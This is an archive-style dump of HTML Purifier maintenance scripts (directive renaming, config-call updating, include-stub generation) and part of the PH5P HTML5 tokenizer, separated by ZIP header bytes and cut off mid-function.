$old = $argv[1];
$new = $argv[2];
if (!file_exists("$old.txt")) {
echo "Cannot move undefined configuration directive $old\n";
exit(1);
}
if ($old === $new) {
echo "Attempting to move to self, aborting\n";
exit(1);
}
if (file_exists("$new.txt")) {
echo "Cannot move to already defined directive $new\n";
exit(1);
}
$file = "$old.txt";
$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
$interchange = new HTMLPurifier_ConfigSchema_Interchange();
$builder->buildFile($interchange, $file);
$contents = file_get_contents($file);
if (strpos($contents, "\r\n") !== false) {
$nl = "\r\n";
} elseif (strpos($contents, "\r") !== false) {
$nl = "\r";
} else {
$nl = "\n";
}
// replace name with new name
$contents = str_replace($old, $new, $contents);
if ($interchange->directives[$old]->aliases) {
$pos_alias = strpos($contents, 'ALIASES:');
$pos_ins = strpos($contents, $nl, $pos_alias);
if ($pos_ins === false) $pos_ins = strlen($contents);
$contents =
substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins);
file_put_contents($file, $contents);
} else {
$lines = explode($nl, $contents);
$insert = false;
foreach ($lines as $n => $line) {
if (strncmp($line, '--', 2) === 0) {
$insert = $n;
break;
}
}
if (!$insert) {
$lines[] = "ALIASES: $old";
} else {
array_splice($lines, $insert, 0, "ALIASES: $old");
}
file_put_contents($file, implode($nl, $lines));
}
rename("$old.txt", "$new.txt") || exit(1);
PK j�$Z9�s� � * htmlpurifier/maintenance/update-config.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Converts all instances of $config->set and $config->get to the new
* format, as described by docs/dev-config-bcbreaks.txt
*/
$FS = new FSTools();
chdir(dirname(__FILE__) . '/..');
$raw_files = $FS->globr('.', '*.php');
foreach ($raw_files as $file) {
$file = substr($file, 2); // rm leading './'
if (strpos($file, 'library/standalone/') === 0) continue;
if (strpos($file, 'maintenance/update-config.php') === 0) continue;
if (strpos($file, 'test-settings.php') === 0) continue;
if (substr_count($file, '.') > 1) continue; // rm meta files
// process the file
$contents = file_get_contents($file);
$contents = preg_replace(
"#config->(set|get)\('(.+?)', '(.+?)'#",
"config->\\1('\\2.\\3'",
$contents
);
if ($contents === '') continue;
file_put_contents($file, $contents);
}
// vim: et sw=4 sts=4
PK j�$Z�(��� � 4 htmlpurifier/maintenance/old-remove-require-once.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
echo "Please do not run this script. It is here for historical purposes only.";
exit;
/**
* @file
* Removes leading includes from files.
*
* @note
* This does not remove inline includes; those must be handled manually.
*/
chdir(dirname(__FILE__) . '/../tests/HTMLPurifier');
$FS = new FSTools();
$files = $FS->globr('.', '*.php');
foreach ($files as $file) {
if (substr_count(basename($file), '.') > 1) continue;
$old_code = file_get_contents($file);
$new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code);
if ($old_code !== $new_code) {
file_put_contents($file, $new_code);
}
}
// vim: et sw=4 sts=4
PK j�$Zf}�Ī � * htmlpurifier/maintenance/merge-library.phpnu �[��� #!/usr/bin/php
<?php
/**
* @file
* Deprecated in favor of generate-standalone.php.
*/
require dirname(__FILE__) . '/generate-standalone.php';
// vim: et sw=4 sts=4
PK j�$ZP��R
. htmlpurifier/maintenance/generate-includes.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
require_once '../tests/path2class.func.php';
require_once '../library/HTMLPurifier/Bootstrap.php';
assertCli();
/**
* @file
* Generates an include stub for users who do not want to use the autoloader.
* When new files are added to HTML Purifier's main codebase, this file should
* be called.
*/
chdir(dirname(__FILE__) . '/../library/');
$FS = new FSTools();
$exclude_dirs = array(
'HTMLPurifier/Language/',
'HTMLPurifier/ConfigSchema/',
'HTMLPurifier/Filter/',
'HTMLPurifier/Printer/',
/* These should be excluded, but need to have ConfigSchema support first
*/
);
$exclude_files = array(
'HTMLPurifier/Lexer/PEARSax3.php',
'HTMLPurifier/Lexer/PH5P.php',
'HTMLPurifier/Printer.php',
);
// Determine what files need to be included:
echo 'Scanning for files... ';
$raw_files = $FS->globr('.', '*.php');
if (!$raw_files) throw new Exception('Did not find any PHP source files');
$files = array();
foreach ($raw_files as $file) {
$file = substr($file, 2); // rm leading './'
if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files
if (substr_count($file, '.') > 1) continue; // rm meta files
$ok = true;
foreach ($exclude_dirs as $dir) {
if (strncmp($dir, $file, strlen($dir)) === 0) {
$ok = false;
break;
}
}
if (!$ok) continue; // rm excluded directories
if (in_array($file, $exclude_files)) continue; // rm excluded files
$files[] = $file;
}
echo "done!\n";
// Reorder list so that dependencies are included first:
/**
* Returns a lookup array of dependencies for a file.
*
* @note This function expects that format $name extends $parent on one line
*
* @param string $file
* File to check dependencies of.
* @return array
* Lookup array of files the file is dependent on, sorted accordingly.
*/
function get_dependency_lookup($file)
{
static $cache = array();
if (isset($cache[$file])) return $cache[$file];
if (!file_exists($file)) {
echo "File doesn't exist: $file\n";
return array();
}
$fh = fopen($file, 'r');
$deps = array();
while (!feof($fh)) {
$line = fgets($fh);
if (strncmp('class', $line, 5) === 0) {
// The implementation here is fragile and will break if we attempt
// to use interfaces. Beware!
$arr = explode(' extends ', trim($line, ' {'."\n\r"), 2);
if (count($arr) < 2) break;
$parent = $arr[1];
$dep_file = HTMLPurifier_Bootstrap::getPath($parent);
if (!$dep_file) break;
$deps[$dep_file] = true;
break;
}
}
fclose($fh);
foreach (array_keys($deps) as $file) {
// Extra dependencies must come *before* base dependencies
$deps = get_dependency_lookup($file) + $deps;
}
$cache[$file] = $deps;
return $deps;
}
/**
* Sorts files based on dependencies. This function is lazy and will not
* group files with dependencies together; it will merely ensure that a file
* is never included before its dependencies are.
*
* @param $files
* Files array to sort.
* @return
* Sorted array ($files is not modified by reference!)
*/
function dep_sort($files)
{
$ret = array();
$cache = array();
foreach ($files as $file) {
if (isset($cache[$file])) continue;
$deps = get_dependency_lookup($file);
foreach (array_keys($deps) as $dep) {
if (!isset($cache[$dep])) {
$ret[] = $dep;
$cache[$dep] = true;
}
}
$cache[$file] = true;
$ret[] = $file;
}
return $ret;
}
$files = dep_sort($files);
// Build the actual include stub:
$version = trim(file_get_contents('../VERSION'));
// stub
$php = "<?php
/**
* @file
* This file was auto-generated by generate-includes.php and includes all of
* the core files required by HTML Purifier. Use this if performance is a
* primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS
* FILE, changes will be overwritten the next time the script is run.
*
* @version $version
*
* @warning
* You must *not* include any other HTML Purifier files before this file,
* because 'require' not 'require_once' is used.
*
* @warning
* This file requires that the include path contains the HTML Purifier
* library directory; this is not auto-set.
*/
";
foreach ($files as $file) {
$php .= "require '$file';" . PHP_EOL;
}
echo "Writing HTMLPurifier.includes.php... ";
file_put_contents('HTMLPurifier.includes.php', $php);
echo "done!\n";
$php = "<?php
/**
* @file
* This file was auto-generated by generate-includes.php and includes all of
* the core files required by HTML Purifier. This is a convenience stub that
* includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT
* EDIT THIS FILE, changes will be overwritten the next time the script is run.
*
* Changes to include_path are not necessary.
*/
\$__dir = dirname(__FILE__);
";
foreach ($files as $file) {
$php .= "require_once \$__dir . '/$file';" . PHP_EOL;
}
echo "Writing HTMLPurifier.safe-includes.php... ";
file_put_contents('HTMLPurifier.safe-includes.php', $php);
echo "done!\n";
// vim: et sw=4 sts=4
PK j�$Z�1�ȑw �w ! htmlpurifier/maintenance/PH5P.phpnu �[��� <?php
class HTML5
{
private $data;
private $char;
private $EOF;
private $state;
private $tree;
private $token;
private $content_model;
private $escape = false;
private $entities = array('AElig;','AElig','AMP;','AMP','Aacute;','Aacute',
'Acirc;','Acirc','Agrave;','Agrave','Alpha;','Aring;','Aring','Atilde;',
'Atilde','Auml;','Auml','Beta;','COPY;','COPY','Ccedil;','Ccedil','Chi;',
'Dagger;','Delta;','ETH;','ETH','Eacute;','Eacute','Ecirc;','Ecirc','Egrave;',
'Egrave','Epsilon;','Eta;','Euml;','Euml','GT;','GT','Gamma;','Iacute;',
'Iacute','Icirc;','Icirc','Igrave;','Igrave','Iota;','Iuml;','Iuml','Kappa;',
'LT;','LT','Lambda;','Mu;','Ntilde;','Ntilde','Nu;','OElig;','Oacute;',
'Oacute','Ocirc;','Ocirc','Ograve;','Ograve','Omega;','Omicron;','Oslash;',
'Oslash','Otilde;','Otilde','Ouml;','Ouml','Phi;','Pi;','Prime;','Psi;',
'QUOT;','QUOT','REG;','REG','Rho;','Scaron;','Sigma;','THORN;','THORN',
'TRADE;','Tau;','Theta;','Uacute;','Uacute','Ucirc;','Ucirc','Ugrave;',
'Ugrave','Upsilon;','Uuml;','Uuml','Xi;','Yacute;','Yacute','Yuml;','Zeta;',
'aacute;','aacute','acirc;','acirc','acute;','acute','aelig;','aelig',
'agrave;','agrave','alefsym;','alpha;','amp;','amp','and;','ang;','apos;',
'aring;','aring','asymp;','atilde;','atilde','auml;','auml','bdquo;','beta;',
'brvbar;','brvbar','bull;','cap;','ccedil;','ccedil','cedil;','cedil',
'cent;','cent','chi;','circ;','clubs;','cong;','copy;','copy','crarr;',
'cup;','curren;','curren','dArr;','dagger;','darr;','deg;','deg','delta;',
'diams;','divide;','divide','eacute;','eacute','ecirc;','ecirc','egrave;',
'egrave','empty;','emsp;','ensp;','epsilon;','equiv;','eta;','eth;','eth',
'euml;','euml','euro;','exist;','fnof;','forall;','frac12;','frac12',
'frac14;','frac14','frac34;','frac34','frasl;','gamma;','ge;','gt;','gt',
'hArr;','harr;','hearts;','hellip;','iacute;','iacute','icirc;','icirc',
'iexcl;','iexcl','igrave;','igrave','image;','infin;','int;','iota;',
'iquest;','iquest','isin;','iuml;','iuml','kappa;','lArr;','lambda;','lang;',
'laquo;','laquo','larr;','lceil;','ldquo;','le;','lfloor;','lowast;','loz;',
'lrm;','lsaquo;','lsquo;','lt;','lt','macr;','macr','mdash;','micro;','micro',
'middot;','middot','minus;','mu;','nabla;','nbsp;','nbsp','ndash;','ne;',
'ni;','not;','not','notin;','nsub;','ntilde;','ntilde','nu;','oacute;',
'oacute','ocirc;','ocirc','oelig;','ograve;','ograve','oline;','omega;',
'omicron;','oplus;','or;','ordf;','ordf','ordm;','ordm','oslash;','oslash',
'otilde;','otilde','otimes;','ouml;','ouml','para;','para','part;','permil;',
'perp;','phi;','pi;','piv;','plusmn;','plusmn','pound;','pound','prime;',
'prod;','prop;','psi;','quot;','quot','rArr;','radic;','rang;','raquo;',
'raquo','rarr;','rceil;','rdquo;','real;','reg;','reg','rfloor;','rho;',
'rlm;','rsaquo;','rsquo;','sbquo;','scaron;','sdot;','sect;','sect','shy;',
'shy','sigma;','sigmaf;','sim;','spades;','sub;','sube;','sum;','sup1;',
'sup1','sup2;','sup2','sup3;','sup3','sup;','supe;','szlig;','szlig','tau;',
'there4;','theta;','thetasym;','thinsp;','thorn;','thorn','tilde;','times;',
'times','trade;','uArr;','uacute;','uacute','uarr;','ucirc;','ucirc',
'ugrave;','ugrave','uml;','uml','upsih;','upsilon;','uuml;','uuml','weierp;',
'xi;','yacute;','yacute','yen;','yen','yuml;','yuml','zeta;','zwj;','zwnj;');
const PCDATA = 0;
const RCDATA = 1;
const CDATA = 2;
const PLAINTEXT = 3;
const DOCTYPE = 0;
const STARTTAG = 1;
const ENDTAG = 2;
const COMMENT = 3;
const CHARACTR = 4;
const EOF = 5;
public function __construct($data)
{
$data = str_replace("\r\n", "\n", $data);
$date = str_replace("\r", null, $data);
$this->data = $data;
$this->char = -1;
$this->EOF = strlen($data);
$this->tree = new HTML5TreeConstructer;
$this->content_model = self::PCDATA;
$this->state = 'data';
while($this->state !== null) {
$this->{$this->state.'State'}();
}
}
public function save()
{
return $this->tree->save();
}
private function char()
{
return ($this->char < $this->EOF)
? $this->data[$this->char]
: false;
}
private function character($s, $l = 0)
{
if($s + $l < $this->EOF) {
if($l === 0) {
return $this->data[$s];
} else {
return substr($this->data, $s, $l);
}
}
}
private function characters($char_class, $start)
{
return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start));
}
private function dataState()
{
// Consume the next input character
$this->char++;
$char = $this->char();
if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) {
/* U+0026 AMPERSAND (&)
When the content model flag is set to one of the PCDATA or RCDATA
states: switch to the entity data state. Otherwise: treat it as per
the "anything else" entry below. */
$this->state = 'entityData';
} elseif($char === '-') {
/* If the content model flag is set to either the RCDATA state or
the CDATA state, and the escape flag is false, and there are at
least three characters before this one in the input stream, and the
last four characters in the input stream, including this one, are
U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS,
and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */
if(($this->content_model === self::RCDATA || $this->content_model ===
self::CDATA) && $this->escape === false &&
$this->char >= 3 && $this->character($this->char - 4, 4) === '<!--') {
$this->escape = true;
}
/* In any case, emit the input character as a character token. Stay
in the data state. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => $char
));
/* U+003C LESS-THAN SIGN (<) */
} elseif($char === '<' && ($this->content_model === self::PCDATA ||
(($this->content_model === self::RCDATA ||
$this->content_model === self::CDATA) && $this->escape === false))) {
/* When the content model flag is set to the PCDATA state: switch
to the tag open state.
When the content model flag is set to either the RCDATA state or
the CDATA state and the escape flag is false: switch to the tag
open state.
Otherwise: treat it as per the "anything else" entry below. */
$this->state = 'tagOpen';
/* U+003E GREATER-THAN SIGN (>) */
} elseif($char === '>') {
/* If the content model flag is set to either the RCDATA state or
the CDATA state, and the escape flag is true, and the last three
characters in the input stream including this one are U+002D
HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"),
set the escape flag to false. */
if(($this->content_model === self::RCDATA ||
$this->content_model === self::CDATA) && $this->escape === true &&
$this->character($this->char, 3) === '-->') {
$this->escape = false;
}
/* In any case, emit the input character as a character token.
Stay in the data state. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => $char
));
} elseif($this->char === $this->EOF) {
/* EOF
Emit an end-of-file token. */
$this->EOF();
} elseif($this->content_model === self::PLAINTEXT) {
/* When the content model flag is set to the PLAINTEXT state
THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of
the text and emit it as a character token. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => substr($this->data, $this->char)
));
$this->EOF();
} else {
/* Anything else
THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that
otherwise would also be treated as a character token and emit it
as a single character token. Stay in the data state. */
$len = strcspn($this->data, '<&', $this->char);
$char = substr($this->data, $this->char, $len);
$this->char += $len - 1;
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => $char
));
$this->state = 'data';
}
}
private function entityDataState()
{
// Attempt to consume an entity.
$entity = $this->entity();
// If nothing is returned, emit a U+0026 AMPERSAND character token.
// Otherwise, emit the character token that was returned.
$char = (!$entity) ? '&' : $entity;
$this->emitToken($char);
// Finally, switch to the data state.
$this->state = 'data';
}
private function tagOpenState()
{
switch($this->content_model) {
case self::RCDATA:
case self::CDATA:
/* If the next input character is a U+002F SOLIDUS (/) character,
consume it and switch to the close tag open state. If the next
input character is not a U+002F SOLIDUS (/) character, emit a
U+003C LESS-THAN SIGN character token and switch to the data
state to process the next input character. */
if($this->character($this->char + 1) === '/') {
$this->char++;
$this->state = 'closeTagOpen';
} else {
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => '<'
));
$this->state = 'data';
}
break;
case self::PCDATA:
// If the content model flag is set to the PCDATA state
// Consume the next input character:
$this->char++;
$char = $this->char();
if($char === '!') {
/* U+0021 EXCLAMATION MARK (!)
Switch to the markup declaration open state. */
$this->state = 'markupDeclarationOpen';
} elseif($char === '/') {
/* U+002F SOLIDUS (/)
Switch to the close tag open state. */
$this->state = 'closeTagOpen';
} elseif(preg_match('/^[A-Za-z]$/', $char)) {
/* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
Create a new start tag token, set its tag name to the lowercase
version of the input character (add 0x0020 to the character's code
point), then switch to the tag name state. (Don't emit the token
yet; further details will be filled in before it is emitted.) */
$this->token = array(
'name' => strtolower($char),
'type' => self::STARTTAG,
'attr' => array()
);
$this->state = 'tagName';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Parse error. Emit a U+003C LESS-THAN SIGN character token and a
U+003E GREATER-THAN SIGN character token. Switch to the data state. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => '<>'
));
$this->state = 'data';
} elseif($char === '?') {
/* U+003F QUESTION MARK (?)
Parse error. Switch to the bogus comment state. */
$this->state = 'bogusComment';
} else {
/* Anything else
Parse error. Emit a U+003C LESS-THAN SIGN character token and
reconsume the current input character in the data state. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => '<'
));
$this->char--;
$this->state = 'data';
}
break;
}
}
private function closeTagOpenState()
{
$next_node = strtolower($this->characters('A-Za-z', $this->char + 1));
$the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName;
if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) &&
(!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/',
$this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) {
/* If the content model flag is set to the RCDATA or CDATA states then
examine the next few characters. If they do not match the tag name of
the last start tag token emitted (case insensitively), or if they do but
they are not immediately followed by one of the following characters:
* U+0009 CHARACTER TABULATION
* U+000A LINE FEED (LF)
* U+000B LINE TABULATION
* U+000C FORM FEED (FF)
* U+0020 SPACE
* U+003E GREATER-THAN SIGN (>)
* U+002F SOLIDUS (/)
* EOF
...then there is a parse error. Emit a U+003C LESS-THAN SIGN character
token, a U+002F SOLIDUS character token, and switch to the data state
to process the next input character. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => '</'
));
$this->state = 'data';
} else {
/* Otherwise, if the content model flag is set to the PCDATA state,
or if the next few characters do match that tag name, consume the
next input character: */
$this->char++;
$char = $this->char();
if(preg_match('/^[A-Za-z]$/', $char)) {
/* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
Create a new end tag token, set its tag name to the lowercase version
of the input character (add 0x0020 to the character's code point), then
switch to the tag name state. (Don't emit the token yet; further details
will be filled in before it is emitted.) */
$this->token = array(
'name' => strtolower($char),
'type' => self::ENDTAG
);
$this->state = 'tagName';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Parse error. Switch to the data state. */
$this->state = 'data';
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F
SOLIDUS character token. Reconsume the EOF character in the data state. */
$this->emitToken(array(
'type' => self::CHARACTR,
'data' => '</'
));
$this->char--;
$this->state = 'data';
} else {
/* Parse error. Switch to the bogus comment state. */
$this->state = 'bogusComment';
}
}
}
private function tagNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} elseif($char === '/') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the before
attribute name state. */
$this->state = 'beforeAttributeName';
} else {
/* Anything else
Append the current input character to the current tag token's tag name.
Stay in the tag name state. */
$this->token['name'] .= strtolower($char);
$this->state = 'tagName';
}
}
private function beforeAttributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif($char === '/') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Stay in the before
attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Start a new attribute in the current tag token. Set that attribute's
name to the current input character, and its value to the empty string.
Switch to the attribute name state. */
$this->token['attr'][] = array(
'name' => strtolower($char),
'value' => null
);
$this->state = 'attributeName';
}
}
private function attributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute name state. */
$this->state = 'afterAttributeName';
} elseif($char === '=') {
/* U+003D EQUALS SIGN (=)
Switch to the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif($char === '/' && $this->character($this->char + 1) !== '>') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the before
attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's name.
Stay in the attribute name state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['name'] .= strtolower($char);
$this->state = 'attributeName';
}
}
private function afterAttributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the after attribute name state. */
$this->state = 'afterAttributeName';
} elseif($char === '=') {
/* U+003D EQUALS SIGN (=)
Switch to the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif($char === '/' && $this->character($this->char + 1) !== '>') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the
before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Start a new attribute in the current tag token. Set that attribute's
name to the current input character, and its value to the empty string.
Switch to the attribute name state. */
$this->token['attr'][] = array(
'name' => strtolower($char),
'value' => null
);
$this->state = 'attributeName';
}
}
private function beforeAttributeValueState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif($char === '"') {
/* U+0022 QUOTATION MARK (")
Switch to the attribute value (double-quoted) state. */
$this->state = 'attributeValueDoubleQuoted';
} elseif($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the attribute value (unquoted) state and reconsume
this input character. */
$this->char--;
$this->state = 'attributeValueUnquoted';
} elseif($char === '\'') {
/* U+0027 APOSTROPHE (')
Switch to the attribute value (single-quoted) state. */
$this->state = 'attributeValueSingleQuoted';
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Switch to the attribute value (unquoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueUnquoted';
}
}
private function attributeValueDoubleQuotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if($char === '"') {
/* U+0022 QUOTATION MARK (")
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState('double');
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (double-quoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueDoubleQuoted';
}
}
private function attributeValueSingleQuotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if($char === '\'') {
/* U+0022 QUOTATION MARK (')
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState('single');
} elseif($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (single-quoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueSingleQuoted';
}
}
private function attributeValueUnquotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState('non');
} elseif($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (unquoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueUnquoted';
}
}
private function entityInAttributeValueState()
{
// Attempt to consume an entity.
$entity = $this->entity();
// If nothing is returned, append a U+0026 AMPERSAND character to the
// current attribute's value. Otherwise, emit the character token that
// was returned.
$char = (!$entity)
? '&'
: $entity;
$this->emitToken($char);
}
private function bogusCommentState()
{
/* Consume every character up to the first U+003E GREATER-THAN SIGN
character (>) or the end of the file (EOF), whichever comes first. Emit
a comment token whose data is the concatenation of all the characters
starting from and including the character that caused the state machine
to switch into the bogus comment state, up to and including the last
consumed character before the U+003E character, if any, or up to the
end of the file otherwise. (If the comment was started by the end of
the file (EOF), the token is empty.) */
$data = $this->characters('^>', $this->char);
$this->emitToken(array(
'data' => $data,
'type' => self::COMMENT
));
$this->char += strlen($data);
/* Switch to the data state. */
$this->state = 'data';
/* If the end of the file was reached, reconsume the EOF character. */
if($this->char === $this->EOF) {
$this->char = $this->EOF - 1;
}
}
private function markupDeclarationOpenState()
{
/* If the next two characters are both U+002D HYPHEN-MINUS (-)
characters, consume those two characters, create a comment token whose
data is the empty string, and switch to the comment state. */
if($this->character($this->char + 1, 2) === '--') {
$this->char += 2;
$this->state = 'comment';
$this->token = array(
'data' => null,
'type' => self::COMMENT
);
/* Otherwise if the next seven chacacters are a case-insensitive match
for the word "DOCTYPE", then consume those characters and switch to the
DOCTYPE state. */
} elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') {
$this->char += 7;
$this->state = 'doctype';
/* Otherwise, is is a parse error. Switch to the bogus comment state.
The next character that is consumed, if any, is the first character
that will be in the comment. */
} else {
$this->char++;
$this->state = 'bogusComment';
}
}
private function commentState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
/* U+002D HYPHEN-MINUS (-) */
if($char === '-') {
/* Switch to the comment dash state */
$this->state = 'commentDash';
/* EOF */
} elseif($this->char === $this->EOF) {
/* Parse error. Emit the comment token. Reconsume the EOF character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
/* Anything else */
} else {
/* Append the input character to the comment token's data. Stay in
the comment state. */
$this->token['data'] .= $char;
}
}
private function commentDashState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
/* U+002D HYPHEN-MINUS (-) */
if($char === '-') {
/* Switch to the comment end state */
$this->state = 'commentEnd';
/* EOF */
} elseif($this->char === $this->EOF) {
/* Parse error. Emit the comment token. Reconsume the EOF character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
/* Anything else */
} else {
/* Append a U+002D HYPHEN-MINUS (-) character and the input
character to the comment token's data. Switch to the comment state. */
$this->token['data'] .= '-'.$char;
$this->state = 'comment';
}
}
private function commentEndState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif($char === '-') {
$this->token['data'] .= '-';
} elseif($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
